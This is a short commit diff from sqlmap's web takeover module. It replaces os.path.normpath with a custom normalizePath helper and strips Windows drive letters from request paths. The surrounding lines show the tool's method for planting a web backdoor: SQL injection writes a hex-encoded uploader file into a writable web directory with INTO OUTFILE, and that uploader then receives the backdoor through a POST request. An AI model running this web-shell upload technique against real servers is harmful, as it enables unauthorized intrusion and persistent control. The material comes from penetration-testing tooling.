used normalizePath instead of os.path.normalize

stamparm · stamparm · commit 565433097e4b · 2010-02-03T16:10:09.000Z
diff --git a/lib/takeover/web.py b/lib/takeover/web.py
@@ -31,6 +31,7 @@
 from lib.core.common import fileToStr
 from lib.core.common import getDirs
 from lib.core.common import getDocRoot
+from lib.core.common import normalizePath
 from lib.core.common import readInput
 from lib.core.convert import hexencode
 from lib.core.data import conf
@@ -96,7 +97,7 @@ def __webFileStreamUpload(self, stream, destFileName, directory):
 
         elif self.webApi == "asp":
             backdoorRemotePath = "%s/%s" % (directory, destFileName)
-            backdoorRemotePath = os.path.normpath(backdoorRemotePath)
+            backdoorRemotePath = normalizePath(backdoorRemotePath)
             backdoorContent = stream.read()
             postStr = "f=%s&d=%s" % (backdoorRemotePath, backdoorContent)
             page, _ = Request.getPage(url=self.webUploaderUrl, direct=True, post=postStr)
@@ -164,16 +165,19 @@ def webInit(self):
         
         for directory in directories:
             # Upload the uploader agent
-            outFile     = os.path.normpath("%s/%s" % (directory, uploaderName))
+            
+            outFile     = normalizePath("%s/%s" % (directory, uploaderName))
             uplQuery    = uploaderContent.replace("WRITABLE_DIR", directory)
             query       = " LIMIT 1 INTO OUTFILE '%s' " % outFile
             query      += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
             query       = agent.prefixQuery(" %s" % query)
             query       = agent.postfixQuery(query)
             payload     = agent.payload(newValue=query)
             page        = Request.queryPage(payload)
-
-            requestDir  = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
+            
+            requestDir  = normalizePath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
+            if re.search("\A[A-Za-z]:", requestDir):
+                requestDir = requestDir[2:]
             self.webBaseUrl     = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
             self.webUploaderUrl = "%s/%s" % (self.webBaseUrl, uploaderName)
             self.webUploaderUrl = self.webUploaderUrl.replace("./", "/").replace("\\", "/")
